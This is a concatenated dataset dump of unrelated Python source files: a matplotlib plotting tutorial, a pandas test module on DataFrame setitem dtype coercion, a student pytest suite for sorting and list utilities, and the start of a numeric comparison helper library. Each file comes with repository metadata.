matplotlib.pyplot as plt\n\n# %% [markdown]\n# By running this special iPython command, we will be displaying plots inline:\n\n# %%\nget_ipython().magic('matplotlib inline')\n\n# %% [markdown]\n# ###Plotting\n# %% [markdown]\n# The most important function in `matplotlib` is plot, which allows you to plot 2D data. Here is a simple example:\n# %% [markdown]\n# With just a little bit of extra work we can easily plot multiple lines at once, and add a title, legend, and axis labels:\n\n# %%\n# Compute the x and y coordinates for points on a sine curve\nx = np.arange(0, 3 * np.pi, 0.1)\ny = np.sin(x)\n\n# Plot the points using matplotlib\nplt.plot(x, y)\n\n\n# %%\ny_sin = np.sin(x)\ny_cos = np.cos(x)\n\n# Plot the points using matplotlib\nplt.plot(x, y_sin)\nplt.plot(x, y_cos)\nplt.xlabel('x axis label')\nplt.ylabel('y axis label')\nplt.title('Sine and Cosine')\nplt.legend(['Sine', 'Cosine'])\n\n# %% [markdown]\n# ###Subplots \n# %% [markdown]\n# You can plot different things in the same figure using the subplot function. Here is an example:\n\n# %%\n# Compute the x and y coordinates for points on sine and cosine curves\nx = np.arange(0, 3 * np.pi, 0.1)\ny_sin = np.sin(x)\ny_cos = np.cos(x)\n\n# Set up a subplot grid that has height 2 and width 1,\n# and set the first such subplot as active.\nplt.subplot(2, 1, 1)\n\n# Make the first plot\nplt.plot(x, y_sin)\nplt.title('Sine')\n\n# Set the second subplot as active, and make the second plot.\nplt.subplot(2, 1, 2)\nplt.plot(x, y_cos)\nplt.title('Cosine')\n\n# Show the figure.\nplt.show()\n\n# %% [markdown]\n# You can read much more about the `subplot` function in the [documentation](http://matplotlib.org/api/pyplot_api.html#matplotlib.pyplot.subplot).\n# %% [markdown]\n# You can use the imshow function to show images. Here is an example:\n\n# %%\nimport numpy as np\nfrom scipy.misc import imresize\nfrom imageio import imread # Scipy.imread is deprecated, use imageio instead\nimport matplotlib.pyplot as plt\n\nimg = imread('cat.jpg')\nimg_tinted = img * [1, 0.5, 0.9]\n\n# Show the original image\nplt.subplot(1, 2, 1)\nplt.imshow(img)\n\n# Show the tinted image\nplt.subplot(1, 2, 2)\n\n# A slight gotcha with imshow is that it might give strange results\n# if presented with data that is not uint8. To work around this, we\n# explicitly cast the image to uint8 before displaying it.\nplt.imshow(np.uint8(img_tinted))\nplt.show()\n\n\n# %%\n\n\n", "meta": {"hexsha": "3d973b18154ecd93ee2746751abc3e83b0dc7b43", "size": 31676, "ext": "py", "lang": "Python", "max_stars_repo_path": "Tutorial/cs231n - Python3 Tutorial.py", "max_stars_repo_name": "doronser/CS231n", "max_stars_repo_head_hexsha": "702cc104b0a359858a419701db3c1d0e7c7e9d7c", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 1, "max_stars_repo_stars_event_min_datetime": "2021-11-12T17:29:10.000Z", "max_stars_repo_stars_event_max_datetime": "2021-11-12T17:29:10.000Z", "max_issues_repo_path": "Tutorial/cs231n - Python3 Tutorial.py", "max_issues_repo_name": "doronser/CS231n", "max_issues_repo_head_hexsha": "702cc104b0a359858a419701db3c1d0e7c7e9d7c", "max_issues_repo_licenses": ["MIT"], "max_issues_count": 4, "max_issues_repo_issues_event_min_datetime": "2020-04-03T07:06:03.000Z", "max_issues_repo_issues_event_max_datetime": "2021-11-09T11:59:34.000Z", "max_forks_repo_path": "Tutorial/cs231n - Python3 Tutorial.py", "max_forks_repo_name": "doronser/CS231n", "max_forks_repo_head_hexsha": "702cc104b0a359858a419701db3c1d0e7c7e9d7c", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 32.7231404959, "max_line_length": 353, "alphanum_fraction": 0.6736646041, "include": true, "reason": "import numpy,from scipy", "num_tokens": 8787, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.290980853917813, "lm_q2_score": 0.20946968133032526, "lm_q1q2_score": 0.06095166674339021}}
{"text": "\"\"\"\nTests for values coercion in setitem-like operations on DataFrame.\n\nFor the most part, these should be multi-column DataFrames, otherwise\nwe would share the tests with Series.\n\"\"\"\nimport numpy as np\nimport pytest\n\nimport pandas as pd\nfrom pandas import (\n    DataFrame,\n    MultiIndex,\n    NaT,\n    Series,\n    Timestamp,\n    date_range,\n)\nimport pandas._testing as tm\n\n\nclass TestDataFrameSetitemCoercion:\n    @pytest.mark.xfail(reason=\"Unnecessary cast.\")\n    @pytest.mark.parametrize(\"consolidate\", [True, False])\n    def test_loc_setitem_multiindex_columns(self, consolidate):\n        # GH#18415 Setting values in a single column preserves dtype,\n        #  while setting them in multiple columns did unwanted cast.\n\n        # Note that A here has 2 blocks, below we do the same thing\n        #  with a consolidated frame.\n        A = DataFrame(np.zeros((6, 5), dtype=np.float32))\n        A = pd.concat([A, A], axis=1, keys=[1, 2])\n        if consolidate:\n            A = A._consolidate()\n\n        A.loc[2:3, (1, slice(2, 3))] = np.ones((2, 2), dtype=np.float32)\n        assert (A.dtypes == np.float32).all()\n\n        A.loc[0:5, (1, slice(2, 3))] = np.ones((6, 2), dtype=np.float32)\n        assert (A.dtypes == np.float32).all()\n\n        A.loc[:, (1, slice(2, 3))] = np.ones((6, 2), dtype=np.float32)\n        assert (A.dtypes == np.float32).all()\n\n        # TODO: i think this isn't about MultiIndex and could be done with iloc?\n\n\ndef test_37477():\n    # fixed by GH#45121\n    orig = DataFrame({\"A\": [1, 2, 3], \"B\": [3, 4, 5]})\n    expected = DataFrame({\"A\": [1, 2, 3], \"B\": [3, 1.2, 5]})\n\n    df = orig.copy()\n    df.at[1, \"B\"] = 1.2\n    tm.assert_frame_equal(df, expected)\n\n    df = orig.copy()\n    df.loc[1, \"B\"] = 1.2\n    tm.assert_frame_equal(df, expected)\n\n    df = orig.copy()\n    df.iat[1, 1] = 1.2\n    tm.assert_frame_equal(df, expected)\n\n    df = orig.copy()\n    df.iloc[1, 1] = 1.2\n    tm.assert_frame_equal(df, expected)\n\n\ndef test_6942(indexer_al):\n    # check that the .at __setitem__ after setting \"Live\" actually sets the data\n    start = Timestamp(\"2014-04-01\")\n    t1 = Timestamp(\"2014-04-23 12:42:38.883082\")\n    t2 = Timestamp(\"2014-04-24 01:33:30.040039\")\n\n    dti = date_range(start, periods=1)\n    orig = DataFrame(index=dti, columns=[\"timenow\", \"Live\"])\n\n    df = orig.copy()\n    indexer_al(df)[start, \"timenow\"] = t1\n\n    df[\"Live\"] = True\n\n    df.at[start, \"timenow\"] = t2\n    assert df.iloc[0, 0] == t2\n\n\ndef test_26395(indexer_al):\n    # .at case fixed by GH#45121 (best guess)\n    df = DataFrame(index=[\"A\", \"B\", \"C\"])\n    df[\"D\"] = 0\n\n    indexer_al(df)[\"C\", \"D\"] = 2\n    expected = DataFrame({\"D\": [0, 0, 2]}, index=[\"A\", \"B\", \"C\"], dtype=np.int64)\n    tm.assert_frame_equal(df, expected)\n\n    indexer_al(df)[\"C\", \"D\"] = 44.5\n    expected = DataFrame({\"D\": [0, 0, 44.5]}, index=[\"A\", \"B\", \"C\"], dtype=np.float64)\n    tm.assert_frame_equal(df, expected)\n\n    indexer_al(df)[\"C\", \"D\"] = \"hello\"\n    expected = DataFrame({\"D\": [0, 0, \"hello\"]}, index=[\"A\", \"B\", \"C\"], dtype=object)\n    tm.assert_frame_equal(df, expected)\n\n\n@pytest.mark.xfail(reason=\"unwanted upcast\")\ndef test_15231():\n    df = DataFrame([[1, 2], [3, 4]], columns=[\"a\", \"b\"])\n    df.loc[2] = Series({\"a\": 5, \"b\": 6})\n    assert (df.dtypes == np.int64).all()\n\n    df.loc[3] = Series({\"a\": 7})\n\n    # df[\"a\"] doesn't have any NaNs, should not have been cast\n    exp_dtypes = Series([np.int64, np.float64], dtype=object, index=[\"a\", \"b\"])\n    tm.assert_series_equal(df.dtypes, exp_dtypes)\n\n\n@pytest.mark.xfail(reason=\"Unnecessarily upcasts to float64\")\ndef test_iloc_setitem_unnecesssary_float_upcasting():\n    # GH#12255\n    df = DataFrame(\n        {\n            0: np.array([1, 3], dtype=np.float32),\n            1: np.array([2, 4], dtype=np.float32),\n            2: [\"a\", \"b\"],\n        }\n    )\n    orig = df.copy()\n\n    values = df[0].values.reshape(2, 1)\n    df.iloc[:, 0:1] = values\n\n    tm.assert_frame_equal(df, orig)\n\n\n@pytest.mark.xfail(reason=\"unwanted casting to dt64\")\ndef test_12499():\n    # TODO: OP in GH#12499 used np.datetim64(\"NaT\") instead of pd.NaT,\n    #  which has consequences for the expected df[\"two\"] (though i think at\n    #  the time it might not have because of a separate bug). See if it makes\n    #  a difference which one we use here.\n    ts = Timestamp(\"2016-03-01 03:13:22.98986\", tz=\"UTC\")\n\n    data = [{\"one\": 0, \"two\": ts}]\n    orig = DataFrame(data)\n    df = orig.copy()\n    df.loc[1] = [np.nan, NaT]\n\n    expected = DataFrame(\n        {\"one\": [0, np.nan], \"two\": Series([ts, NaT], dtype=\"datetime64[ns, UTC]\")}\n    )\n    tm.assert_frame_equal(df, expected)\n\n    data = [{\"one\": 0, \"two\": ts}]\n    df = orig.copy()\n    df.loc[1, :] = [np.nan, NaT]\n    tm.assert_frame_equal(df, expected)\n\n\n@pytest.mark.xfail(reason=\"Too many columns cast to float64\")\ndef test_20476():\n    mi = MultiIndex.from_product([[\"A\", \"B\"], [\"a\", \"b\", \"c\"]])\n    df = DataFrame(-1, index=range(3), columns=mi)\n    filler = DataFrame([[1, 2, 3.0]] * 3, index=range(3), columns=[\"a\", \"b\", \"c\"])\n    df[\"A\"] = filler\n\n    expected = DataFrame(\n        {\n            0: [1, 1, 1],\n            1: [2, 2, 2],\n            2: [3.0, 3.0, 3.0],\n            3: [-1, -1, -1],\n            4: [-1, -1, -1],\n            5: [-1, -1, -1],\n        }\n    )\n    expected.columns = mi\n    exp_dtypes = Series(\n        [np.dtype(np.int64)] * 2 + [np.dtype(np.float64)] + [np.dtype(np.int64)] * 3,\n        index=mi,\n    )\n    tm.assert_series_equal(df.dtypes, exp_dtypes)\n", "meta": {"hexsha": "8b2bc60953e3e08a324fcee715537ffb3b3c7bd3", "size": 5463, "ext": "py", "lang": "Python", "max_stars_repo_path": "pandas/tests/frame/indexing/test_coercion.py", "max_stars_repo_name": "umangino/pandas", "max_stars_repo_head_hexsha": "c492672699110fe711b7f76ded5828ff24bce5ab", "max_stars_repo_licenses": ["BSD-3-Clause"], "max_stars_count": 2, "max_stars_repo_stars_event_min_datetime": "2022-02-27T04:02:18.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-01T03:48:47.000Z", "max_issues_repo_path": "pandas/tests/frame/indexing/test_coercion.py", "max_issues_repo_name": "umangino/pandas", "max_issues_repo_head_hexsha": "c492672699110fe711b7f76ded5828ff24bce5ab", "max_issues_repo_licenses": ["BSD-3-Clause"], "max_issues_count": 1, "max_issues_repo_issues_event_min_datetime": "2022-02-12T20:25:37.000Z", "max_issues_repo_issues_event_max_datetime": "2022-02-25T22:34:54.000Z", "max_forks_repo_path": "pandas/tests/frame/indexing/test_coercion.py", "max_forks_repo_name": "umangino/pandas", "max_forks_repo_head_hexsha": "c492672699110fe711b7f76ded5828ff24bce5ab", "max_forks_repo_licenses": ["BSD-3-Clause"], "max_forks_count": 2, "max_forks_repo_forks_event_min_datetime": "2022-02-27T04:02:19.000Z", "max_forks_repo_forks_event_max_datetime": "2022-03-01T03:49:21.000Z", "avg_line_length": 29.6902173913, "max_line_length": 86, "alphanum_fraction": 0.579535054, "include": true, "reason": "import numpy", "num_tokens": 1763, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.3702254064929193, "lm_q2_score": 0.16451645880021026, "lm_q1q2_score": 0.06090817283408345}}
{"text": "\"\"\" Basic introduction to unit testing with Python\n\n@brief get started with python testing by looking at https://docs.pytest.org/en/latest/getting-started.html#getstarted. Note that any script to be ran within the python testing framework (pytest) should follow the standard test discovery rules (https://docs.pytest.org/en/latest/goodpractices.html#test-discovery)\n\"\"\"\nimport numpy as np\nimport os\nprint('Starting test script from working directory : '+os.getcwd())\n\ndef test_basicTrue():\n    \"\"\" one of the simplest test that does nothing except saying it works...\"\"\"\n    assert True\n\n\n#testing session 1 functions\ndef load_s1_script():\n    \"\"\"\n        utility function that tris to load the script written along the first lesson\n        @throws an ImportError exception if the script file does not exist\n        @return the script as a loaded module\n    \"\"\"\n    S1_script_filename='../Session1/S1_algotools.py'\n    print('Trying to load target scripts:'+S1_script_filename)\n    import imp\n    s1_algotools=imp.load_source('session_1_script', S1_script_filename)\n    return  s1_algotools\n\n\n\n#load the scripts to check\ndef test_session1script_exists():\n    try:\n        load_s1_script()\n        assert True\n    except  ImportError:\n        print('Expected script not found, carrefuly check the assignement instructions ')\n        assert False\n\ndef check_s1_selective_average(testList):\n    ##\n    # utility function that asserts if load_S1_script().average_above_zero works fine\n    # @param testList a list of values onto average_above_zero is applied\n    # @test ensures the function returns the correct average value\n    import numpy as np\n    #another way to process the positive elements average to compare with\n    positive_elements_float_array=np.array([i for i in testList if i >= 0], dtype=float)\n    reference_average_value=np.mean(positive_elements_float_array)\n    assert load_s1_script().average_above_zero(testList) ==reference_average_value\n\ndef test_s1_selective_average_non_zeros_values():\n    ##\n    # @test validates average_above_zero works fine with integer values >0\n    check_s1_selective_average([1,2,3,4,-7])\n\n\ndef test_s1_selective_average_with_negative_values():\n    ##\n    # @test validates average_above_zero works fine with integer values <=0\n    check_s1_selective_average([0,-7])\n\ndef test_s1_selective_average_with_string_values():\n    ##\n    # @test validates average_above_zero works fine with integer values <=0\n    check_s1_selective_average(['ab','c'])\n\ndef test_s1_selective_average_with_string_values():\n    ##\n    # @test validates average_above_zero works fine with an empty list\n    try:\n        check_s1_selective_average([])\n        assert False\n    except ValueError:\n        assert True\n        \n        \n#  =========================== test about reverse_table\ndef test_reverse_table_value():\n    ##\n    # @test validates reverse_table works fine with correct array\n    assert load_s1_script().reverse_table([1, 1, 2, 3, 5, 8]) == [8, 5, 3, 2, 1, 1]\n\ndef test_reverse_table_of_table():\n    ##\n    # @test validates reverse_table works fine with array in array\n    assert load_s1_script().reverse_table([[1, 1], 2, 3, [5, 8]]) == [[5,8], 3, 2, [1, 1]]\ndef test_reverse_table_with_string():\n    ##\n    # @test validates reverse_table works fine with string instead of array\n    try:\n        load_s1_script().reverse_table('array')\n        assert False\n    except TypeError:\n        assert True\n\n          \n#  =========================== test about roi_bbox\n\n\n\ndef test_roi_bbox_no_np_array():\n    ##\n    # @test validates roi_bbox works fine with no numpy array in parameter.\n    try:\n        load_s1_script().roi_bbox(5)\n        assert False\n    except TypeError:\n        assert True\n\n\ndef test_roi_bbox_with_array():\n    ##\n    # @test validates roi_bbox works fine with array.\n    assert np.array_equal(load_s1_script().roi_bbox(np.array([[  0, 0, 0, 0, 0, 0],\n               [  0, 1, 0, 0, 0, 0],\n               [  0, 0, 0, 1, 0, 0],\n               [  0, 0, 0, 0, 0, 0],\n               [  0, 0, 1, 0, 0, 0],\n               [  0, 0, 0, 0, 0, 0]])) , np.array([[1, 1], [1, 3], [4, 1], [4, 3]]))\n\n\n#  =========================== test about random_fill_sparse\n\ndef test_random_fill_sparse_value_with_no_int():\n    ##\n    # @test validates random_fill_sparse works fine with not int as second parameter.\n    try:\n        load_s1_script().random_fill_sparse(np.array([['', '', ''], ['', '', '']]), 'dd')\n        assert False\n    except TypeError:\n        assert True\n\n      \n#  =========================== test about remove_whitespace\n\ndef test_remove_whitespace_with():\n    ##\n    # @test validates remove_whitespace works fine.\n    assert load_s1_script().remove_whitespace('La fleur en bouquet fane, et jamais ne rena\u00eet !') == 'Lafleurenbouquetfane,etjamaisnerena\u00eet!'\n    \n\ndef test_remove_whitespace_with_no_string():\n    ##\n    # @test validates remove_whitespace works fine with no string in parameter.\n    try:\n        load_s1_script().remove_whitespace(8)\n        assert False\n    except TypeError:\n        assert True\n\n        \n#  =========================== test about shuffle\n\ndef test_shuffle_with_no_array_value():\n    ##\n    # @test validates shuffle works fine with no array in parameter.\n    try:\n        load_s1_script().shuffle(3)\n        assert False\n    except TypeError:\n        assert True\n\ndef test_shuffle_with_array():\n    ##\n    # @test validates shuffle works fine with array\n    arrayTest = [i for i in range(10)]\n    initSum = sum(arrayTest)\n    result = load_s1_script().shuffle(arrayTest)\n\n    assert initSum == sum(result)\n\n#  =========================== test about sort_selective\n\n\ndef test_sort_selective_with_no_array():\n    ##\n    # @test validates sort_selective works fine with no array in parameter.\n    try:\n        load_s1_script().sort_selective(12)\n        assert False\n    except TypeError:\n        assert True\n\ndef test_sort_selective_with_array():\n    ##\n    # @test validates sort_selective works fine with array.\n    assert load_s1_script().sort_selective([2, 5, 3, 25, 7, 9, 6, 7, 7, 1, 0, 10]) == [0, 1, 2, 3, 5, 6, 7, 7, 7, 9, 10, 25]\n\n#  =========================== test about sort_bubble\n\n\ndef test_sort_bubble_with_no_array():\n    ##\n    # @test validates sort_bubble works fine with no array in parameter..\n    try:\n        load_s1_script().sort_bubble(2)\n        assert False\n    except TypeError:\n        assert True\n\n\ndef test_sort_bubble_with_array_of_ten():\n    ##\n    # @test validates sort_bubble works fine with array of 10 values.\n    assert load_s1_script().sort_bubble([2, 5, 8, 3, 7, 9, 6, 7, 7, 6, 1, 0]) == [0, 1, 2, 3, 5, 6, 6, 7, 7, 7, 8, 9]\n", "meta": {"hexsha": "f9ccb57d776bc9baeb48d495000f7745aea1fbd8", "size": 6657, "ext": "py", "lang": "Python", "max_stars_repo_path": "assignments/Session2/test_S2.py", "max_stars_repo_name": "Quidam74/myRepoAlgo", "max_stars_repo_head_hexsha": "c45905058f61e8c08643635aad6d969e4f305d3c", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "assignments/Session2/test_S2.py", "max_issues_repo_name": "Quidam74/myRepoAlgo", "max_issues_repo_head_hexsha": "c45905058f61e8c08643635aad6d969e4f305d3c", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "assignments/Session2/test_S2.py", "max_forks_repo_name": "Quidam74/myRepoAlgo", "max_forks_repo_head_hexsha": "c45905058f61e8c08643635aad6d969e4f305d3c", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 32.6323529412, "max_line_length": 313, "alphanum_fraction": 0.6557007661, "include": true, "reason": "import numpy", "num_tokens": 1721, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.370225378698254, "lm_q2_score": 0.16451646699291614, "lm_q1q2_score": 0.06090817129455118}}
{"text": "import copy\nimport logging\nimport pprint\nimport sys\nfrom typing import Callable, Dict, List, Union\n\nimport numpy as np\nfrom pydantic import BaseModel\n\npp = pprint.PrettyPrinter(width=120)\n\n\ndef _handle_return(passfail: bool, label: str, message: str, return_message: bool, quiet: bool = False):\n    \"\"\"Function to print a '*label*...PASSED' line to log.\"\"\"\n\n    if not quiet:\n        if passfail:\n            logging.info(f\"    {label:.<53}PASSED\")\n        else:\n            logging.error(f\"    {label:.<53}FAILED\")\n            logging.error(f\"    {message:.<53}\")\n\n    if return_message:\n        return passfail, message\n    else:\n        return passfail\n\n\ndef tnm() -> str:\n    \"\"\"Returns the name of the calling function, usually name of test case.\"\"\"\n\n    return sys._getframe().f_back.f_code.co_name\n\n\ndef compare_values(\n    expected,\n    computed,\n    label: str = None,\n    *,\n    atol: float = 1.0e-6,\n    rtol: float = 1.0e-16,\n    equal_nan: bool = False,\n    equal_phase: bool = False,\n    passnone: bool = False,\n    quiet: bool = False,\n    return_message: bool = False,\n    return_handler: Callable = None,\n) -> bool:\n    \"\"\"Returns True if two floats or float arrays are element-wise equal within a tolerance.\n\n    Parameters\n    ----------\n    expected : float or float array-like\n        Reference value against which `computed` is compared.\n    computed : float or float array-like\n        Input value to compare against `expected`.\n    atol : float, optional\n        Absolute tolerance (see formula below).\n    label : str, optional\n        Label for passed and error messages. Defaults to calling function name.\n    rtol : float, optional\n        Relative tolerance (see formula below). By default set to zero so `atol` dominates.\n    equal_nan : bool, optional\n        Passed to np.isclose. Compare NaN's as equal.\n    equal_phase : bool, optional\n        Compare computed *or its opposite* as equal.\n    passnone : bool, optional\n        Return True when both expected and computed are None.\n    quiet : bool, optional\n        Whether to log the return message.\n    return_message : bool, optional\n        Whether to return tuple. See below.\n\n    Returns\n    -------\n    allclose : bool\n        Returns True if `expected` and `computed` are equal within tolerance; False otherwise.\n    message : str, optional\n        When return_message=True, also return passed or error message.\n\n    Other Parameters\n    ----------------\n    return_handler : function, optional\n        Function to control printing, logging, raising, and returning.\n        Specialized interception for interfacing testing systems.\n\n    Notes\n    -----\n    * Akin to np.allclose.\n    * For scalar float-comparable types and for arbitrary-dimension, np.ndarray-castable, uniform-type,\n      float-comparable types. For mixed types, use :py:func:`compare_recursive`.\n    * Sets rtol to zero to match expected Psi4 behaviour, otherwise measured as:\n\n    .. code-block:: python\n\n        absolute(computed - expected) <= (atol + rtol * absolute(expected))\n\n    \"\"\"\n    label = label or sys._getframe().f_back.f_code.co_name\n    pass_message = f\"\\t{label:.<66}PASSED\"\n    if return_handler is None:\n        return_handler = _handle_return\n\n    if passnone:\n        if expected is None and computed is None:\n            return return_handler(True, label, pass_message, return_message, quiet)\n\n    if np.iscomplexobj(expected):\n        dtype = np.complex\n    else:\n        dtype = np.float\n\n    try:\n        xptd, cptd = np.array(expected, dtype=dtype), np.array(computed, dtype=dtype)\n    except Exception:\n        return return_handler(\n            False, label, f\"\"\"\\t{label}: inputs not cast-able to ndarray of {dtype}.\"\"\", return_message, quiet\n        )\n\n    if xptd.shape != cptd.shape:\n        return return_handler(\n            False,\n            label,\n            f\"\"\"\\t{label}: computed shape ({cptd.shape}) does not match ({xptd.shape}).\"\"\",\n            return_message,\n            quiet,\n        )  # lgtm: [py/syntax-error]\n\n    digits1 = abs(int(np.log10(atol))) + 2\n    digits_str = f\"to atol={atol}\"\n    if rtol > 1.0e-12:\n        digits_str += f\", rtol={rtol}\"\n\n    isclose = np.isclose(cptd, xptd, rtol=rtol, atol=atol, equal_nan=equal_nan)\n    allclose = bool(np.all(isclose))\n\n    if not allclose and equal_phase and hasattr(cptd, \"__neg__\"):\n        n_isclose = np.isclose(-cptd, xptd, rtol=rtol, atol=atol, equal_nan=equal_nan)\n        allclose = bool(np.all(n_isclose))\n\n    if allclose:\n        message = pass_message\n\n    else:\n        if xptd.shape == ():\n            xptd_str = f\"{float(xptd):.{digits1}f}\"\n        else:\n            xptd_str = np.array_str(xptd, max_line_width=120, precision=12, suppress_small=True)\n            xptd_str = \"\\n\".join(\"    \" + ln for ln in xptd_str.splitlines())\n\n        if cptd.shape == ():\n            cptd_str = f\"{float(cptd):.{digits1}f}\"\n        else:\n            cptd_str = np.array_str(cptd, max_line_width=120, precision=12, suppress_small=True)\n            cptd_str = \"\\n\".join(\"    \" + ln for ln in cptd_str.splitlines())\n\n        diff = cptd - xptd\n        if xptd.shape == ():\n            diff_str = f\"{float(diff):.{digits1}f}\"\n            message = \"\"\"\\t{}: computed value ({}) does not match ({}) {} by difference ({}).\"\"\".format(\n                label, cptd_str, xptd_str, digits_str, diff_str\n            )\n        else:\n            diff[isclose] = 0.0\n            diff_str = np.array_str(diff, max_line_width=120, precision=12, suppress_small=False)\n            diff_str = \"\\n\".join(\"    \" + ln for ln in diff_str.splitlines())\n            message = \"\"\"\\t{}: computed value does not match {}.\\n  Expected:\\n{}\\n  Observed:\\n{}\\n  Difference (passed elements are zeroed):\\n{}\\n\"\"\".format(\n                label, digits_str, xptd_str, cptd_str, diff_str\n            )\n\n    return return_handler(allclose, label, message, return_message, quiet)\n\n\ndef compare(\n    expected,\n    computed,\n    label: str = None,\n    *,\n    equal_phase: bool = False,\n    quiet: bool = False,\n    return_message: bool = False,\n    return_handler: Callable = None,\n) -> bool:\n    \"\"\"Returns True if two integers, strings, booleans, or integer arrays are element-wise equal.\n\n    Parameters\n    ----------\n    expected : int, bool, str or int array-like\n        Reference value against which `computed` is compared.\n    computed : int, bool, str or int array-like\n        Input value to compare against `expected`.\n    label : str, optional\n        Label for passed and error messages. Defaults to calling function name.\n    equal_phase : bool, optional\n        Compare computed *or its opposite* as equal.\n\n    Returns\n    -------\n    allclose : bool\n        Returns True if `expected` and `computed` are equal; False otherwise.\n    message : str, optional\n        When return_message=True, also return passed or error message.\n\n    Other Parameters\n    ----------------\n    return_handler : function, optional\n        Function to control printing, logging, raising, and returning.\n        Specialized interception for interfacing testing systems.\n\n    Notes\n    -----\n    * Akin to np.array_equal.\n    * For scalar exactly-comparable types and for arbitrary-dimension, np.ndarray-castable, uniform-type,\n      exactly-comparable types. For mixed types, use :py:func:`compare_recursive`.\n\n    \"\"\"\n    label = label or sys._getframe().f_back.f_code.co_name\n    pass_message = f\"\\t{label:.<66}PASSED\"\n    if return_handler is None:\n        return_handler = _handle_return\n\n    try:\n        xptd, cptd = np.array(expected), np.array(computed)\n    except Exception:\n        return return_handler(False, label, f\"\"\"\\t{label}: inputs not cast-able to ndarray.\"\"\", return_message, quiet)\n\n    if xptd.shape != cptd.shape:\n        return return_handler(\n            False,\n            label,\n            f\"\"\"\\t{label}: computed shape ({cptd.shape}) does not match ({xptd.shape}).\"\"\",\n            return_message,\n            quiet,\n        )\n\n    isclose = np.asarray(xptd == cptd)\n    allclose = bool(isclose.all())\n\n    if not allclose and equal_phase:\n        try:\n            n_isclose = np.asarray(xptd == -cptd)\n        except TypeError:\n            pass\n        else:\n            allclose = bool(n_isclose.all())\n\n    if allclose:\n        message = pass_message\n\n    else:\n        if xptd.shape == ():\n            xptd_str = f\"{xptd}\"\n        else:\n            xptd_str = np.array_str(xptd, max_line_width=120, precision=12, suppress_small=True)\n            xptd_str = \"\\n\".join(\"    \" + ln for ln in xptd_str.splitlines())\n\n        if cptd.shape == ():\n            cptd_str = f\"{cptd}\"\n        else:\n            cptd_str = np.array_str(cptd, max_line_width=120, precision=12, suppress_small=True)\n            cptd_str = \"\\n\".join(\"    \" + ln for ln in cptd_str.splitlines())\n\n        try:\n            diff = cptd - xptd\n        except TypeError:\n            diff_str = \"(n/a)\"\n        else:\n            if xptd.shape == ():\n                diff_str = f\"{diff}\"\n            else:\n                diff_str = np.array_str(diff, max_line_width=120, precision=12, suppress_small=False)\n                diff_str = \"\\n\".join(\"    \" + ln for ln in diff_str.splitlines())\n\n        if xptd.shape == ():\n            message = \"\"\"\\t{}: computed value ({}) does not match ({}) by difference ({}).\"\"\".format(\n                label, cptd_str, xptd_str, diff_str\n            )\n        else:\n            message = \"\"\"\\t{}: computed value does not match.\\n  Expected:\\n{}\\n  Observed:\\n{}\\n  Difference:\\n{}\\n\"\"\".format(\n                label, xptd_str, cptd_str, diff_str\n            )\n\n    return return_handler(allclose, label, message, return_message, quiet)\n\n\ndef _compare_recursive(expected, computed, atol, rtol, _prefix=False, equal_phase=False):\n\n    errors = []\n    name = _prefix or \"root\"\n    prefix = name + \".\"\n\n    # Initial conversions if required\n    if isinstance(expected, BaseModel):\n        expected = expected.dict()\n\n    if isinstance(computed, BaseModel):\n        computed = computed.dict()\n\n    if isinstance(expected, (str, int, bool, complex)):\n        if expected != computed:\n            errors.append((name, \"Value {} did not match {}.\".format(expected, computed)))\n\n    elif isinstance(expected, (list, tuple)):\n        try:\n            if len(expected) != len(computed):\n                errors.append((name, \"Iterable lengths did not match\"))\n            else:\n                for i, item1, item2 in zip(range(len(expected)), expected, computed):\n                    errors.extend(\n                        _compare_recursive(\n                            item1, item2, _prefix=prefix + str(i), atol=atol, rtol=rtol, equal_phase=equal_phase\n                        )\n                    )\n        except TypeError:\n            errors.append((name, \"Expected computed to have a __len__()\"))\n\n    elif isinstance(expected, dict):\n        expected_extra = computed.keys() - expected.keys()\n        computed_extra = expected.keys() - computed.keys()\n        if len(expected_extra):\n            errors.append((name, \"Found extra keys {}\".format(expected_extra)))\n        if len(computed_extra):\n            errors.append((name, \"Missing keys {}\".format(computed_extra)))\n\n        for k in expected.keys() & computed.keys():\n            name = prefix + str(k)\n            errors.extend(\n                _compare_recursive(\n                    expected[k], computed[k], _prefix=name, atol=atol, rtol=rtol, equal_phase=equal_phase\n                )\n            )\n\n    elif isinstance(expected, (float, np.number)):\n        passfail, msg = compare_values(\n            expected, computed, atol=atol, rtol=rtol, equal_phase=equal_phase, return_message=True, quiet=True\n        )\n        if not passfail:\n            errors.append((name, \"Arrays differ.\" + msg))\n\n    elif isinstance(expected, np.ndarray):\n        if np.issubdtype(expected.dtype, np.floating):\n            passfail, msg = compare_values(\n                expected, computed, atol=atol, rtol=rtol, equal_phase=equal_phase, return_message=True, quiet=True\n            )\n        else:\n            passfail, msg = compare(expected, computed, equal_phase=equal_phase, return_message=True, quiet=True)\n        if not passfail:\n            errors.append((name, \"Arrays differ.\" + msg))\n\n    elif isinstance(expected, type(None)):\n        if expected is not computed:\n            errors.append((name, \"'None' does not match.\"))\n\n    else:\n        errors.append((name, f\"Type {type(expected)} not understood -- stopping recursive compare.\"))\n\n    return errors\n\n\ndef compare_recursive(\n    expected: Union[Dict, BaseModel, \"ProtoModel\"],  # type: ignore\n    computed: Union[Dict, BaseModel, \"ProtoModel\"],  # type: ignore\n    label: str = None,\n    *,\n    atol: float = 1.0e-6,\n    rtol: float = 1.0e-16,\n    forgive: List[str] = None,\n    equal_phase: Union[bool, List] = False,\n    quiet: bool = False,\n    return_message: bool = False,\n    return_handler: Callable = None,\n) -> bool:\n    \"\"\"\n    Recursively compares nested structures such as dictionaries and lists.\n\n  